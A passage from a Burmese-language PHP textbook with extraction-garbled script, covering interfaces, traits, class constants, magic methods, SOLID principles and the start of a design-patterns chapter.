ဆက်ကြေရးထားတဲ့  app() Function  က  Animal Object  ကို  လက်ခံမယ်လုိ့  သတ်မှတ်ထားပါတယ်။ ဒါ
ကြေeကာင့် Animal Interface ကကြေနဆက်ခံgoစ်ကြေပါ်လာတဲ့ Dog Object ကိုကြေပးတဲ့အခါ အလုပ်လုပ်သွားသလုိ
Animal Interface ကကြေနပဲ ဆက်ခံgoစ်ကြေပါ်လာတဲ့  Fish Object ကို ကြေပးတဲ့အခါမှာလည်း အလုပ်လုပ်သွား
တာကို ကြေတွ့gမင်ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းနဲ့  Interface    ကိုအသုံးgပုပြပီး  အမျ ို းအစားမတူကြေပမယ့်၊    Interface    တူတဲ့    Object    ကြေတွကို  oလှယ်  
အစားထုိး အသုံးgပုလုိရ့ရှိနိုင်သွားမှာပါ။ 

Inheritance  မှာ  Multiple  Inheritance  ခွင့်မgပုကြေပမယ့်  Interface  မှာကြေတာ့  Interface  နှစ်ခုသုံးခုကို
Implement လုပ်တာကို လက်ခံပါတယ်။ ဒါကြေeကာင့် ဒီလုိကြေရးလုိ့ ရနိုင်ပါတယ်။

 PHP 

<?php

interface Animal
{
    public function move();
}

interface Livestock
{
    public function isFriendly();
}
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class Cow implements Animal, Livestock
{
    public function move()
    {
        echo "The cow is walking";
    }

    public function isFriendly()
    {
        return true;
    }
}

နမူနာအရ Cow Class ဟာ Animal Interface နဲ့ Livestock Interface နှစ်ခုကို Implement လုပ်ထားတာ
ကို ကြေတွ့ရမှာgoစ်ပါတယ်။ ဒါကြေeကာင့် Interface နှစ်ခုလံုးမှာ သတ်မှတ်ထားတဲ့ Abstract Method ကြေတွ goစ်
eကတဲ့ move() နဲ ့isFriendly() တိုက့ို gပည့်စံုကြေအာင် Cow Class မှာ ကြေရးကြေပးရမှာပါ။

PHP  မှာ  Multiple  Inheritance  ကို  ခွင့်မgပုတဲ့အတွက်ကြေeကာင့်  အစားထုိးထည့်သွင်းကြေပးထားတဲ့
လုပ်ကြေဆာင်ချက်တစ်ခု ရှိပါတယ်။ Traits  လုိ့ကြေခါ်ပါတယ်။ Multiple Inheritance မရလုိ့  Class နှစ်ခုသုံးခု
က လုပ်ကြေဆာင်ချက်ကြေတွကို တစ်ခါထဲ ဆက်ခံလုိမ့ရyူး goစ်ကြေနတယ်၊ ဒါကြေeကာင့် တူညီတဲ့ကုဒ်ကြေတွ gပန်ကြေရး
ရမလုိ goစ်ကြေနနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

class Area
{
    private $PI = 3.14;
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    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

class Calculator extends Math    // and Area
{
    //
}

နမူနာမှာ တွက်ချက်မှုကြေတွ လုပ်ကြေပးနိုင်တဲ့ Math Class နဲ့ Area Class တိုရ့ှိကြေနပါတယ်။ Calculator Class
က နှစ်ခုလံုးရဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို ဆက်ခံကြေရးသားချင်ကြေပမယ့် Multiple Inheritance မရလုိ့ မရနိုင်yူး
goစ်ကြေနပါတယ်။  နှစ်ခုထဲက  တစ်ခုပဲ  ရပါကြေတာ့မယ်။  ဒီလုိ  အကြေgခအကြေနမျ ို းမှာ  Traits  ကို  အသုံးgပုနိုင်ပါ
တယ်။ ဒီလုိပါ –

 PHP 

<?php

trait Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

trait Area
{
    private $PI = 3.14;

    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

class Calculator
{
    use Math, Area;
}

$calc = new Calculator;
$calc->add(1, 2);    // 3
$calc->circle(5);    // 78.5
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Math နဲ့  Area တိုဟ့ာ Class ကြေတွ မဟုတ်eကကြေတာ့ပါyူး။ လုိတဲ့  Class ကကြေန ကြေခါ်သုံးလုိရ့တဲ့  Traits ကြေတွ
goစ်သွားeကပါပြပီ။  ဒါကြေeကာင့်  Calculator Class  မှာ  use Statement  နဲ့   ကြေခါ်သုံးလုိက်တဲ့အခါ  Math  နဲ့
Area နှစ်ခုလံုးရဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို Calculator Class က ရရှိသွားတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။

လက်စနဲ့  Class Constant  အကြေeကာင်းကြေလးလဲ ထည့်မှတ်ပါ။  Class  တစ်ခုအတွင်းမှာ  Constant  ကြေeကညာ
လုိရင် const Statement ကိုအသုံးgပု ကြေeကညာနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Area
{
    const PI = 3.14;

    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

Constant အတွက် ရုိးရုိး Property လုိ $ သကြေက[တ ထည့်ကြေပးစရာမလုိအပ်ပါyူး။ Traits အတွင်းမှာကြေတာ့
Constant ကြေတွ ထည့်ကြေရးခွင့်မရှိပါyူး။ Class အတွင်းမှာသာ ကြေရးခွင့်ရှိပါတယ်။ ပြပီးကြေတာ့ Class Constant
ကြေတဟွာ    Static  Member   ကြေတွ  ဆိတုာကိုလည်း  သတိgပုပါ။  ဒါကြေeကာင့်  အသုံးgပုလုိရင်  Double  Colon
Operator နဲ ့အသုံးgပုကြေပးရမှာပါ။

echo Area::PI; // 3.14

Class တိုင်းမှာ class ဆိုတဲ့ Default Constant ရှိကြေနပါတယ်။ ဥပမာ Area::class ဆိုရင် Area Class
ရဲ့  Namespace  အgပည့်အစံုကို  gပန်ရမှာ  goစ်ပါတယ်။  Namespace  အကြေeကာင်းကို  သက်ဆိုင်ရာအခန်း
ကြေရာက်ကြေတာ့မှ ဆက်eကည့်eကပါမယ်။
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Magic Methods
PHP Class  ကြေတွမှာ  Magic  Methods  လုိ့ကြေခါ်တဲ့  အသုံးဝင်တဲ့  Standard  Method  တစ်ချ ို ့  ရှိပါတယ်။
__construct() ဟာ  Magic Method  တစ်ခုပါ။  __construct() Magic Method  ဟာ  Object
တည်ကြေဆာက်စဉ်မှာ  Constructor  အကြေနနဲ့  အလုပ်လုပ်သလုိပဲ  __destruct() လုိ့ကြေခါ်တဲ့  Object  ကို
ပယ်oျက်လုိက်ချနိ်မှာ အလုိအကြေလျှာက် အလုပ်လုပ်တဲ့ Destructor လည်းရှိပါကြေသးတယ်။ စုစုကြေပါင်း Magic
Method (၁၇) ခုရှိတဲ့အထဲက သတိgပုသင့်တဲ့ Method တစ်ချ ို ့ကို ကြေရွးထုတ်ကြေoာ်gပချင်ပါတယ်။

ပထမဆံုးမှတ်သားသင့်တာက  __call() နဲ့  __callStatic() goစ်ပါတယ်။  ပံုမှန်အားgoင့်  မရှိတဲ့
Method ကြေတွကို ကြေခါ်တဲ့အခါ Error တက်ပါလိမ့်မယ်။ PHP က မရှိတဲ့ ရုိးရုိး   Method   ကိုကြေခါ်oုိက့ြကိုးစားရင်  
__call() ကို  အလုပ်လုပ်ကြေပးပြပီး  မရှိတဲ့    Static Method    ကို  ကြေခါ်oုိ့ကြကိုးစားရင်   __callStatic()
ကို အလုပ်လုပ်ကြေပးပါတယ်။ ဒါကြေeကာင့် အခုလုိ ကြေရးထားလုိ့ ရနိုင်ပါတယ်။

 PHP 

<?php

class Math
{
    public function __call($name, $args)
    {
        echo "Method $name doesn't exists";
    }

    static function __callStatic($name, $args)
    {
        echo "Static method $name doesn't exists";
    }
}

$obj = new Math;
$obj->add();    // Method add doesn't exists

Math::add();    // Static method add doesn't exists

နမူနာမှာ မရှိတဲ့  add() Method  ကို  Object  ကြေပါ်မှာ ကြေခါ်ယူoုိ့ကြကိုးစားတဲ့အခါ  PHP Runtime Error  မ
တကက်ြေတာ့yဲ ကြေရးကြေပးထားတဲ့  __call() Method  ကို  အလုပ်လုပ်ကြေပးသွားတာကို  ကြေတွ့ရနိုင်ပါတယ်။
အလားတူပဲ မရှိတဲ့ add() Static Method ကို ကြေခါ်oုိ့ကြကိုးစားတဲ့အခါမှာလည်း Runtime Error မတက်yဲ
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__callStatic() ကို  အလုပ်လုပ်သွားတာကို  ကြေတွ့ရမှာပဲ  goစ်ပါတယ်။  __call() ကြေရာ
__callStatic() ကြေရာ နှစ်ခုလံုးက ကြေခါ်ယူoုိ့  ကြကိုးစားတဲ့  Method Name  နဲ့  Argument  စာရင်းကို
လက်ခံအလုပ်လုပ်ကြေပးပါတယ်။  နမူနာမှာ  ကြေခါ်ယူoုိ့  ကြကိုးစားတဲ့  Method  အမည်ကို  အသုံးချထားတာကို
ကြေတွ့ ရနိုင်ပါတယ်။

ကြေနာက်ထပ်မှတ်သားသင့်တဲ့ Magic Method ကကြေတာ့ __invoke() goစ်ပါတယ်။ Object   ကို   Function  
တစ်ခုကဲ့သုိ့   Run   oုိက့ြကိုးစားတဲ့အခါ   __invoke() ကို အလုပ်လုပ်ကြေပးမှာgoစ်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Math
{
    public function __invoke()
    {
        echo "This is not a function";
    }
}

$obj = new Math;
$obj();    // This is not a function

နမူနာမှာ  $obj ကို  ကြေနာက်က  ဝုိက်ကွင်း  အoွင့်အပိတ်  ထည့်ပြပီး  Run  oုိ့ကြကိုးစားလုိက်တဲ့အခါ
__invoke() အလုပ်လုပ်သွားတာကို ကြေတွ့ရနိုင်ပါတယ်။

ကြေနာက်ထပ် မှတ်သားသင့်တာကကြေတာ့ __set() နဲ့ __get() goစ်ပါတယ်။ Private တို့ Protected goစ်
ကြေနလုိ့ အသုံးgပုခွင့်မရှိတဲ့   Property   ကြေတွကို ရယူoုိ့ကြကိုးစားရင်   __get() အလုပ်လုပ်ပြပီး တန်oုိးသတ်မှတ်
oုိ့ ကြကိုးစားရင် __set() အလုပ်လုပ်ပါတယ်။ ဒီလုိပါ –
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 PHP 

<?php

class Math
{
    private $PI = 3.14;
    
    public function __get($name)
    {
        echo "Cannot get $name";
    }

    public function __set($name, $value)
    {
        echo "Cannot set $name with $value";
    }
}

$obj = new Math;
echo $obj->PI;      // Cannot access PI

$obj->PI = 3.142;   // Cannot set PI with 3.142

Private  Property  goစ်တဲ့  PI  ကို  ယူoုိ့ကြကိုးစားလုိက်တဲ့အခါ  __get() အလုပ်လုပ်သွားပြပီး  တန်oုိး
သတ်မှတ်oုိ ့ကြကိုးစားလုိက်တဲ့အခါ __set() အလုပ်လုပ်သွားတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။

ကြေနာက်ထပ် Magic Method goစ်တဲ့ __toString() ကိုသုံးပြပီး Object   ကို   String   တစ်ခုကဲ့သုိ့ အသံုးgပု  
oုိ့ ကြကိုးစားတဲ့အခါ yာလုပ်ကြေပးရမလဲ သတ်မှတ်ထားနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

class Math
{
    private $PI = 3.14;
    
    public function __toString()
    {
        return "PI = $this->PI";
    }
}
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$obj = new Math;

echo $obj;      // PI = 3.14

နမူနာအရ $obj ကို echo နဲ့ ရုိက်ထုတ်oုိ့ ကြကိုးစားလုိက်တဲ့အခါ __toString() Method အလုပ်လုပ်
သွားတာကို ကြေတွ့gမင်ရgခင်း goစ်ပါတယ်။

ဒီ  Magic  Method  ကြေတဟွာ  ကြေတာ်ကြေတာ်  အသုံးဝင်ပါတယ်။  ဒါကြေပမယ့်  ဒီ  Method  ကြေတွကို  ကိုယ်တိုင်
ကြေရးသားအသုံးgပုoုိ့ အားမကြေပးeကပါတယ်။ ကြေတာ်ကြေတာ်စွမ်းတဲ့ Method ကြေတွgoစ်သလုိ ကြေရးသားအသုံးgပုပုံ မ
မှန်ရင် ပကြေရာင်္ဂျက်ရဲ့ အလုပ်လုပ်ပံုကို ကကြေမာက်ကမ goစ်သွားကြေစနိုင်လုိ ့တားgမစ်eကပါတယ်။ 

ဒီလုိ  ကိုယ်တိုင်ကြေရးသားအသုံးgပုoုိ့  အားမကြေပးကြေပမယ့်၊  အခုလူကြကိုက်များကြေနတဲ့  Laravel  အပါအဝင်  PHP
Framework  ကြေတွကကြေတာ့ ဒီ  Magic  Method  ကြေတွကို  ထိထိကြေရာက်ကြေရာက်  အသုံးချထားeကပါတယ်။ ဒီ
Magic Method ကြေတွရဲ့ အကူအညီနဲ့ ကုဒ်ကြေတွကြေရးသားရတာ လွယ်ကူလျှင်gမန်သွားကြေအာင် ကြေနာက်ကွယ်က
ကြေန စီစဉ်ကြေပးထားeကပါတယ်။ ဒါကြေeကာင့် ကိုယ်တိုင်ကြေရးသားoုိထ့က်   PHP Framework   ကြေတွရဲ့ အလုပ်လုပ်  
ပုံကို ပုိပြပီးနားလည်ကြေစနိုင်oုိ့ အတွက်သာ ထည့်သွင်းကြေoာ်gပgခင်းgoစ်တယ်လုိ့ ဆိုနိုင်ပါတယ်။
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အခန်း (၃၂) – Essential Design Patterns

Object-Oriented Programming (OOP)  ဟာ အကြေgခခံသကြေyာနဲ့ ကြေရးထုံးအရ သိပ်မခက်ပါyူး။  OOP  ရဲ့
ပင်မ သကြေyာသyာဝ (၄) ခု ရှိတယ်လုိ့ ဆိုနိုင်ပါတယ်။

1. Objects
2. Encapsulation
3. Inheritance
4. Polymorphism

ဒီလုိကြေခါင်းစဉ်တပ်ပြပီး  မကြေgပာခဲ့ကြေပမယ့်  ပြပီးခဲ့တဲ့အခန်းမှာ  ဒီပင်မ  သကြေyာသyာဝ အားလံုးကို  ထည့်သွင်း
ကြေလ့လာခဲ့eကပြပီး goစ်ပါတယ်။ Property ကြေတွ Method ကြေတွရှိတဲ့ Object ကြေတရွဲ့သကြေyာကို ကြေလ့လာခဲ့eကပါ
တယ်။  Encapsulation  ကို  Information  Hiding  လုိလ့ည်း  ကြေခါ်ပါတယ်။  Object  တစ်ခရုဲ့
လုပ်ကြေဆာင်ချက်ကြေတွထဲက မလုိတာကို oွက်ထားပြပီး လုိတာပဲ ကြေoာ်ကြေပးနိုင်တဲ့ သကြေyာသyာဝပါ။  Private
တို့  Protected  တိုလုိ့  ကြေရးထုံးကြေတွနဲ့  ဒီသကြေyာကိုလည်း ကြေတွ့gမင်ခဲ့eကပြပီး  goစ်ပါတယ်။  Inheritance  ကို
Composition  လုိလ့ည်း  ကြေခါ်eကပါတယ်။  Object  ကြေတွရဲ့  တစ်ခုနဲတ့စ်ခု  ဆက်နွယ်တည်ကြေဆာက်နိုင်ပုံ၊
ဆက်စပ်oဲွ့စည်းနိုင်ပံုတိုက့ို  Inheritance  ကြေရးထုံး  Abstract  Class  ကြေရးထုံးတိုန့ဲ့  ကြေလ့လာခဲ့eကပါတယ်။
Polymorphism ဆိုတာကကြေတာ့ ဆင်းသက်မှုတူတဲ့ Object ကြေတရွဲ့ oဲွ့စည်းပံုဟာ ကြေgပာင်းလဲ အလုပ်လုပ်နိုင်
တဲ့ သကြေyာပါ။ Subtyping လုိလ့ည်း ကြေခါ်eကပါတယ်။ Interface ကြေရးထုံးရဲ့ အကူအညီနဲ့ ဆင်းသက်မှုတူတဲ့
Object  ကြေတွဟာ အကြေသးစိတ်မှာကွဲgပားနိုင်ကြေပမယ့် oလှယ်အသုံးgပုနိုင်ပုံကိုလည်း ကြေလ့လာခဲ့eကပြပီး  goစ်ပါ
တယ်။
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ကြေလ့လာသူကြေတွအတွက်  ဒီလုိ  ဆန်းကျယ်တဲ့  အကြေခါ်အကြေဝါ်ကြေတွကြေeကာင့်  မရှုပ်သင့်yဲ  နားရှုပ်စရာgoစ်နိုင်ပါ
တယ်။  ဒါကြေပမယ့်  လက်ကြေတွ့လုပ်ငန်းခွင်မှာ၊  တစ်ဦးနဲတ့စ်ဦး  ဆက်သွယ်အလုပ်လုပ်eကတဲ့အခါ
အgပန်အလှန်  နားလည်တဲ့  အကြေခါ်အကြေဝါ်ကြေတွ ရှိထားမှ သာ ဆက်သွယ်အလုပ်လုပ်ရတာ ထိကြေရာက်မှုရှိမှာ
goစ်ပါတယ်။ တစ်ကြေယာက်က Encapsulation လုိ့ကြေgပာလုိက်ရင် yာကိုဆိုလုိတာလဲ ဆိုတာကို ကျန်လူကြေတွ
က သိeကoုိ့  လုိပါတယ်။  Composition  လုိ့ကြေgပာလုိက်ရင်  yာကိုကြေgပာချင်တာလဲဆိုတာကို  သိeကoုိ့  လုိပါ
တယ်။  Polymorphism  ဆိုရင်  yာကို  ဆိုလုိတာလဲဆိုတာကို  သိeကoုိ့  လုိပါတယ်။  ပြပီးခဲ့တဲ့  အခန်းမှာ
ကြေလ့လာခဲ့တဲ့  ကုဒ်နမူနာကြေတွနဲ့  အခုအကြေပါ်မှာ ရှင်းgပခဲ့တဲ့  အကျဉ်းချုပ် oွင့်ဆိုချက်ကြေတွကို  ကြေပါင်းစပ်ပြပီး သိ
သင့်တဲ့ ပင်မသကြေyာသyာဝ အကြေခါ်အကြေဝါ် (၄) မျ ို းကို သိရှိသွားeကမယ်လုိ ့ယူဆပါတယ်။

OOP  ဟာ ကြေရးထုံးနဲ့  ဒီပင်မ သကြေyာသyာဝကြေတွအရ သိပ်မခက်လှyူးဆိုကြေပမယ့်၊  ဒီသကြေyာသyာဝကြေတွ
ကို  ကြေပါင်းစပ်လုိက်တဲ့  အခါမှာကြေတာ့ ကြေတာ်ကြေတာ်ကြေလးကို  ကျယ်gပန့်တဲ့  အကြေeကာင်းအရာတစ်ခု goစ်သွားပါ
တယ်။  ကြေရးသားသူရဲ့  အgမင်ပုံကြေoာ်နိုင်စွမ်း  Imagination  ကြေပါ်မူတည်ပြပီး  ဗိသုကာကြေgမာက်ကြေလာက်ကြေအာင်
သပ်ရပ်ခိုင်မာတဲ့  Robust  Code  Architecture  goစ်သွားနိုင်သလုိ၊  yာကိုဆိုလုိမှန်းကို  မသိနိုင်ကြေလာက်
ကြေအာင် ရှုပ်ကြေထွးတဲ့ ကုဒ်ကြေတွလည်း goစ်သွားနိုင်ပါတယ်။ ဒါကြေeကာင့် လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ ကြကံုရတဲ့
အခက်အခဲကြေတွကြေပါ်  မူတည်ပြပီး  Object-Oriented  Design  Principles  ကြေတွ  ထွက်ကြေပါ်လာeကသလုိ
လက်ကြေတွ့ ကြေရးeကကြေလ့ရှိတဲ့ ကုဒ်ကြေတွကြေပါ်မှာ အကြေgခခံပြပီး  Object-Oriented Design Patterns  ကြေတွ ထွက်
ကြေပါ်လာeကပါတယ်။ ကြေနာက်ထပ် ဆန်းကျယ်တဲ့ အကြေခါ်အကြေဝါ်ကြေတွ လာgပန်ပါပြပီ။

Object-Oriented Design Principles ထဲမှာ အထင်ရှားဆံုးကကြေတာ့ SOLID goစ်ပါတယ်။ ဒါကြေတွဟာ လက်
ကြေတွ့ gပဿကြေပါ်မှာ  အကြေgခခံgoစ်ကြေပါ်လာeကတဲ့  သကြေyာသyာဝကြေတွမုိလုိ့့  လက်ကြေတွ့  အကြေတွ့ အကြကံု  ရိှလာ
ကြေတာ့မှ ကြေgပာလုိ့ကြေကာင်းတဲ့ အကြေeကာင်းအရာကြေတွပါ။ စာoတ်သူအများစုက အခုမှကြေလ့လာစအကြေနအထားမှာ
ပဲ ရှိeကဦးမယ်လုိ့ ယူဆပါတယ်။ ဒါကြေeကာင့် အခုချနိ်ဒါကြေတွကြေgပာရတာ အဆင့်ကြေကျာ်သလုိ goစ်ကြေကာင်းgoစ်ကြေန
နိုင်ပါတယ်။ ဒါကြေပမယ့် သိသင့်တဲ့ဗဟုသုတgoစ်လုိ့ အကျဉ်းချုပ်ကြေတာ့ ထည့်သွင်းကြေgပာgပချင်ပါတယ်။

SOLID  ရဲ့  S  ဟာ  Single  Responsibility  Principle ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။  Object  တစ်ခုမှာ
လုပ်ကြေဆာင်ချက်ကြေတွ အကြေgမာက်အများ ပါဝင်နိုင်ကြေပမယ့် အဓိကရည်ရွယ်ချက် တစ်ခုထဲပဲ goစ်သင့်တယ်ဆို
တဲ့မူပါ။  လက်ကိုင်မတ်ခွက်တစ်ခုကို  ကြေကာ်oီလည်း  ထည့်လုိရ့ကြေအာင်လုပ်မယ်၊  အကြေအးလည်း  ထည့်လုိ့
ရကြေအာင် လုပ်မယ်ဆိုတာ သိပ်gပဿနာ မရှိကြေပမယ့်၊ လက်ကိုင်ပါကြေနလုိ့ တူလုိမျ ို း ထုလုိရကြေအာင်လည်း လုပ်
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လုိက်မယ်ဆိုရင်ကြေတာ့  အဆင်ကြေgပမှာ  မဟုတ်ပါyူး။  အgပင်ကတစ်ကယ့်ခွက်ကို  သွားလုပ်လုိ့  မရကြေပမယ့်
ကုဒ်ဆိုတာမျ ို းက ကြေရးရင်ကြေတာ့ ရတာပါပဲ။ ရတိုင်းအကုန်ကြေလျှာက်ပြပီး မလုပ်ခိုင်းသင့်yူးဆိုတဲ့သကြေyာပါ။

SOLID ရဲ့ O ကကြေတာ့ Open/Close Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ goည့်စွက်မှုကို လက်ခံကြေပမယ့်၊ gပင်ဆင်မှု
ကို လက်မခံသင့်yူးဆိုတဲ့ မူgoစ်ပါတယ်။ Object တစ်ခုကို ဆက်ခံတဲ့အခါမှာပဲgoစ်goစ်၊ အသံုးချတဲ့အခါမှာ
ပဲgoစ်goစ်  လုိအပ်လုိ့  လုပ်ကြေဆာင်ချက်အသစ်ကြေတွ  တန်oုိးအသစ်ကြေတွ  Object  မှာ  ထပ်ကြေပါင်းလုိက်တာကို
လက်ခံသင့်ကြေပမယ့်  Object  ရဲ့  မူလလုပ်ကြေဆာင်ချက်ကြေတွကို  gပင်ဆင်လုိက်တာမျ ို းကို  မလုပ်သင့်yူးဆိုတဲ့
သကြေyာသyာဝgoစ်ပါတယ်။

SOLID ရဲ့ L ကကြေတာ့ Liskov Substitution Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ အမျ ို းအစားတူတဲ့ Object ကြေတွ
ကို oလှယ်အသုံးgပုလုိ့  ရကြေအာင် စီစဉ်ကြေရးသားရမယ်ဆိုတဲ့ မူgoစ်ပါတယ်။ ဒီသကြေyာကိုကြေတာ့  Interface  နဲ့
အတူ ကြေတွ့ခဲ့eကပြပီး goစ်ပါတယ်။

SOLID ရဲ့ I ကကြေတာ့ Interface Segregation Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ လုပ်ကြေဆာင်ချက်ကြေတွကို တစ်ခု
နဲတ့စ်ခု  အကြေသတွဲဆက်ထားမယ့်အစား ပုိင်းထုတ်လုိရ့တဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  ပုိင်းထုတ်ထားရမယ်ဆို
တဲ့ မူgoစ်ပါတယ်။ ဥပမာ -  မီးပူနဲ့ မီးအိမ်ကို မီးခလုပ်ခံုတစ်ခုထဲမှာ ကြေရာမတပ်yဲ နှစ်ခုခွဲတပ်တဲ့ သကြေyာလုိ့
gမင်eကည့်နိုင်ပါတယ်။ တဲွထားလုိက်တဲ့အခါ တစ်ခုကြေeကာင့် မီးခလုပ်ခံုကြေရှာ့goစ်ရင် နှစ်ခုလံုး သုံးမရgoစ်တတ်
ပါတယ်။ ခွဲထားလုိက်တဲ့အခါ သီးgခား စီမံgပင်ဆင်လုိ ့ရသွားကြေစမယ့်သကြေyာပဲ goစ်ပါတယ်။

SOLID ရဲ့ D ကကြေတာ့ Dependency Inversion Principle လုိ့ကြေခါ်ပါတယ်။ ဥပမာ - ကြေခါင်းကြေgပာင်းပြပီး သုံးလုိ့
ရတဲ့  ဝက်အူလှည့်  လုိမျ ို းပါ။  ဝက်အူလှည့်အgပား  ဆိုရင်  ဝက်အူကြေခါင်းအgပားကိုပဲ  ရစ်လုိရ့မှာပါ။  တgခား
အမျ ို းအစားကို ရစ်လုိအ့ဆင်ကြေgပမှာ မဟုတ်ပါyူး။ ဝက်အူလှည့် လက်ကိုင်မှာ ကြကိုက်တဲ့ကြေခါင်း အမျ ို းအစား
ကြေgပာင်းတပ်ပြပီး သံုးလုိရရင်ကြေတာ့ ပုိအသုံးဝင်သွားပါပြပီ။ Dependency Inversion ဆိုတာလည်း ဒီသကြေyာပါ
ပဲ၊  လုိမယ့်  လုပ်ကြေဆာင်ချက်ကို  အကြေသတွဲ  ကြေရးထားမယ့်အစား  ကြေနာက်မှတွဲထည့်ကြေပးလုိရ့ကြေအာင်  စီစဉ်
ကြေရးသားတဲ့နည်းပဲ goစ်ပါတယ်။

ဒီထက်ပုိအကျယ်ချဲ့ပြပီး  မကြေgပာနိုင်ကြေပမယ့်  ဒီအကြေgခခံမူကြေလးကြေတွ  ကြေခါင်းထဲထည့်ထားလုိက်ရင်  ပုိပြပီးကြေတာ့
စနစ်ကျတဲ့ကုဒ်ကြေတွ ကြေရးသားနိုင်oုိအ့တွက် အကြေထာက်အကူgoစ်ကြေစပါလိမ့်မယ်။
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Design  Patterns  ကြေတွလည်း ရှိပါကြေသးတယ်။  Design  Principles    ကြေတွက လုိက်နာရမယ့် မူကြေတွgoစ်ပြပီး  
Design  Patterns    ကြေတွကကြေတာ့  ကုဒ်ကြေရးဟန်ကြေတွပါ  ။  မတူeကပါyူး။  လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ  တစ်
ကြေယာက်တစ်မျ ို း တီထွင်ကြေရးသားeကတဲ့ ကုဒ်ကြေတွထဲက တူညီတဲ့ ကြေရးဟန်ကြေတွကို အမည်တပ်ကြေပးလုိက်တာ
ပါ။  ဒီလုိ  အမည်တပ်ကြေပးလုိက်တဲ့အတွက်  တစ်ကြေယာက်နဲတ့စ်ကြေယာက်  ဆက်ဆံအလုပ်လုပ်ရတာ  ပုိထိ
ကြေရာက်သွားကြေစoုိ့  goစ်ပါတယ်။  Factory Pattern  လုိ့  တစ်ကြေယာက်က ကြေgပာလုိက်ရင်  yာကိုဆိုလုိတာလဲ
ကြေနာက်တစ်ကြေယာက်က သိကြေစoုိ့goစ်ပါတယ်။  Singleton  လုိတ့စ်ကြေယာက်က ကြေgပာလုိက်ယုံနဲ့  yာကိုဆိုလုိ
တာလဲ တgခားသူကြေတွက သိကြေစoုိ့goစ်ပါတယ်။ 

ဒါကြေတွကလည်း  လက်ကြေတွ့ပကြေရာင်္ဂျက်အကြေတွ့အကြကံု  အနည်းအကျဉ်းရှိမှ  ပုိပြပီးကြေတာ့  နားလည်လွယ်မယ့်
အကြေeကာင်းအရာကြေတွပါ။ လက်ကြေတွ့ အကြေတွ့အကြကံုမရှိyဲ ကြေလ့လာတဲ့အခါ နားလည်ရ ခက်သင့်တာထက် ပုိ
ခက်ကြေနမှာ အကြေသအချာပါပဲ။ ဒါကြေပမယ့် သိသင့်တဲ့  Design Patterns တစ်ချ ို ့ကို အတက်နိုင်ဆံုး နားလည်
လွယ်ကြေအာင် ကြေရွးထုတ်ထည့်သွင်း ကြေoာ်gပကြေပးပါမယ်။ အကယ်၍ oတ်eကည့်လုိ့ သိပ်နားလည်ရ ခက်ကြေနမယ်
ဆိုရင် ဒီအခန်းကို ကြေကျာ်oတ်လုိက်ပါ။ ကြေကျာ်လုိက်လုိရ့ပါတယ်။ အခန်းစဉ်အရ OOP  အခန်းနဲတ့ွဲသင့်လုိ့ တွဲ
ထားကြေပမယ့် အရင်eကည့်သင့်တဲ့ တgခားအကြေgခခံကြေတွ ကြေနာက်ပုိင်းမှာ ကျန်ပါကြေသးတယ်။ အ့ဲဒီအကြေgခခံကြေတွ စံု
ပြပီဆိုကြေတာ့မှ gပန်လာoတ်ရင်လည်း ရပါတယ်။

Object-Oriented  Design  Patterns  နဲ့ပက်သက်ရင်  အထင်ရှားဆံုးကကြေတာ့  Erich  Gamma,  John
Vlissides, Richard Helm နဲ့ Ralph Johnson ဆိုသူ ပညာရှင် (၄) ဦးတို့ ပူးကြေပါင်း ကြေရးသားထားတဲ့ Design
Patterns: Elements of Reusable Object-Oriented Software ဆိုတဲ့စာအုပ်မှာ ကြေoာ်gပပါရှိတဲ့ Patterns
ကြေတွပါပဲ။ စာကြေရးသူ (၄) ဦးကို အစွဲgပုပြပီး  GoF Design Patterns လုိ့ အတိုကြေကာက် ကြေခါ်eကပါတယ်။ GoF
ဆိုတာ  Gang of Four  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  GoF Design Patterns  ကြေတွမှာ စုစုကြေပါင်း  Patterns (၂၃)  ခု
ပါဝင်ပါတယ်။  အခု  ဒီစာအုပ်မှာကြေတာ့  အ့ဲဒီ  Patterns  ကြေတွထဲက  တစ်ချ ို ့အပါအဝင်  အဓိကအားgoင့်
ကြေရွးချယ် မှတ်သားသင့်တဲ့ Pattern (၈) မျ ို းကို ကြေရွးထုတ်ကြေoာ်gပသွားမှာပါ။ 

ဒီစာကြေရးသားကြေနချနိ်မှာ  လူသံုးအများဆံုးgoစ်ကြေနတဲ့  PHP  Framework  ကကြေတာ့  Laravel  goစ်ပါတယ်။
Laravel က အခုဆက်လက်ကြေoာ်gပမယ့် Pattern (၈) မျ ို းကို အသံုးချ ထားပါတယ်။ ဒါကြေeကာင့် ဒီ  Pattern
ကြေတွကို သိရှိထားgခင်းအားgoင့် Laravel ကို ကြေလ့လာရတဲ့အခါ အကြေထာက်အကူgoစ်ကြေစမှာပဲ goစ်ပါတယ်။
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Singleton
ပထမဆံုးကြေoာ်gပချင်တဲ့  Pattern ကကြေတာ့ Singleton Pattern goစ်ပါတယ်။ ပံုမှန်အားgoင့် Class တစ်ခုကို
အသုံးgပုပြပီး Object ကြေတွ လုိသကြေလာက် တည်ကြေဆာက်နိုင်ပါတယ်။ ဒါကြေပမယ့် ရံoန်ရံခါ Object   တစ်ခုထဲပဲ  
